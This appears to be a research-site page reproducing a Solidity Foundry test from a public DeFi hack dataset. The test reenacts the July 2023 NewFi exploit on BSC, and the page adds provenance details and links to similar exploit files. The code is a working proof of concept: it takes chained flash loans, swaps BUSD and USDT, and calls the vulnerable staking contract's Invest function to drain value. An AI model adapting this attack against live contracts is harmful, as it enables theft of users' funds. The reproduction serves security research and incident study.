Public reproduction file
src/test/2023-07/NewFi_exp.sol
Public reproduction file for dataset entry NewFi.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~31K USD$8// Attacker : https://bscscan.com/address/0x3a10408fd7a2b2a43bd14a17c0d4568430b931329// Attack Contract : https://bscscan.com/address/0x18703a4fd7b3688607abf25424b6ab304def251210// Vulnerable Contract : https://bscscan.com/address/0xb8dc09eec82cab2e86c7edc8dd5882dd92d2241111// Attack Tx : https://bscscan.com/tx/0x557628123d137ea49564e4dccff5f5d1e508607e96dd20fe99a670519b679cb513// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xb8dc09eec82cab2e86c7edc8dd5882dd92d22411#code16// @Analysis17// Twitter Guy : https://twitter.com/Phalcon_xyz/status/168096158832355737619interface IStakedV3 {20 function Invest(21 uint256 id,22 uint256 amount,23 uint256 quoteAmount,24 uint256 investType,25 uint256 cycle,26 uint256 deadline27 ) external payable;28}30contract ContractTest is Test {31 IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);32 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);33 Uni_Router_V3 Router = Uni_Router_V3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);34 Uni_Pair_V3 Pair1 = Uni_Pair_V3(0x22536030B9cE783B6Ddfb9a39ac7F439f568E5e6);35 Uni_Pair_V3 Pair2 = Uni_Pair_V3(0x85FAac652b707FDf6907EF726751087F9E0b6687);36 Uni_Pair_V3 Pair3 = Uni_Pair_V3(0x369482C78baD380a036cAB827fE677C1903d1523);37 IStakedV3 StakedV3 = IStakedV3(0xB8dC09Eec82CaB2E86C7EdC8DD5882dd92d22411);39 function setUp() public {40 vm.createSelectFork("bsc", 30_043_573);41 vm.label(address(BUSD), "BUSD");42 vm.label(address(USDT), "USDT");43 vm.label(address(Router), "Router");44 vm.label(address(Pair1), "Pair1");45 vm.label(address(Pair2), "Pair2");46 vm.label(address(StakedV3), "StakedV3");47 }49 function testExploit() public {50 USDT.approve(address(Router), type(uint256).max);51 BUSD.approve(address(Router), type(uint256).max);52 BUSD.approve(address(StakedV3), type(uint256).max);53 BUSD.approve(address(StakedV3), type(uint256).max);54 Pair1.flash(address(this), 0, BUSD.balanceOf(address(Pair1)), abi.encode(BUSD.balanceOf(address(Pair1))));56 emit log_named_decimal_uint(57 "Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), BUSD.decimals()58 );59 }61 function pancakeV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {62 if (msg.sender == address(Pair1)) {63 Pair2.flash(address(this), 0, BUSD.balanceOf(address(Pair2)), abi.encode(BUSD.balanceOf(address(Pair2))));64 uint256 repayAmount = abi.decode(data, (uint256));65 BUSD.transfer(address(Pair1), repayAmount + amount1);66 } else if (msg.sender == address(Pair2)) {67 Pair3.flash(address(this), 0, BUSD.balanceOf(address(Pair3)), abi.encode(BUSD.balanceOf(address(Pair3))));68 uint256 repayAmount = abi.decode(data, (uint256));69 BUSD.transfer(address(Pair2), repayAmount + amount1);70 } else if (msg.sender == address(Pair3)) {71 BUSDToUSDT();72 StakedV3.Invest(2, 1 ether, 2, 1, 7, block.timestamp + 1000); // remove liquidity and swap BUSD to USDT73 USDTToBUSD();74 uint256 repayAmount = abi.decode(data, (uint256));75 BUSD.transfer(address(Pair3), repayAmount + amount1);76 }77 }79 function BUSDToUSDT() internal {80 bytes memory path = abi.encodePacked(address(BUSD), uint24(100), address(USDT));81 address recipient = address(this);82 uint256 amountIn = 12_000_000 ether;83 uint256 amountOutMinimum = 0;84 Uni_Router_V3.ExactInputParams memory ExactInputParams =85 Uni_Router_V3.ExactInputParams(path, recipient, amountIn, amountOutMinimum);86 Router.exactInput(ExactInputParams);87 }89 function USDTToBUSD() internal {90 bytes memory path = abi.encodePacked(address(USDT), uint24(100), address(BUSD));91 address recipient = address(this);92 uint256 amountIn = USDT.balanceOf(address(this));93 uint256 amountOutMinimum = 0;94 Uni_Router_V3.ExactInputParams memory ExactInputParams =95 Uni_Router_V3.ExactInputParams(path, recipient, amountIn, amountOutMinimum);96 Router.exactInput(ExactInputParams);97 }98}Analysis
Dataset entry
Public Foundry test for “NewFi” (2023-07-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
- src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
- src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
- src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
- src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
- src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
- src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
- src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
- src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
- src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
- src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
- src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
- src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
- src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
- src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
- src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
- src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
- src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
- src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
- src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
- src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x3a10408fd7a2b2a43bd14a17c0d4568430b93132
- Attack Contract
0x18703a4fd7b3688607abf25424b6ab304def2512
- Vulnerable Contract
0xb8dc09eec82cab2e86c7edc8dd5882dd92d22411
- Attack Tx
0x557628123d137ea49564e4dccff5f5d1e508607e96dd20fe99a670519b679cb5
- Twitter: https://twitter.com/Phalcon_xyz/status/1680961588323557376
- Explorer: https://bscscan.com/address/0x3a10408fd7a2b2a43bd14a17c0d4568430b93132
- Explorer: https://bscscan.com/address/0x18703a4fd7b3688607abf25424b6ab304def2512
- Explorer: https://bscscan.com/address/0xb8dc09eec82cab2e86c7edc8dd5882dd92d22411
- Explorer: https://bscscan.com/address/0xb8dc09eec82cab2e86c7edc8dd5882dd92d22411#code
File record
- Name
- NewFi
- Path
- src/test/2023-07/NewFi_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f75302efc1c790338bcaa702bab0f3ee3b3b1f52
- Language
- Solidity
- Size
- 99 lines
- Date
- 2023-07-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-07/NewFi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f75302efc1c790338bcaa702bab0f3ee3b3b1f52, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.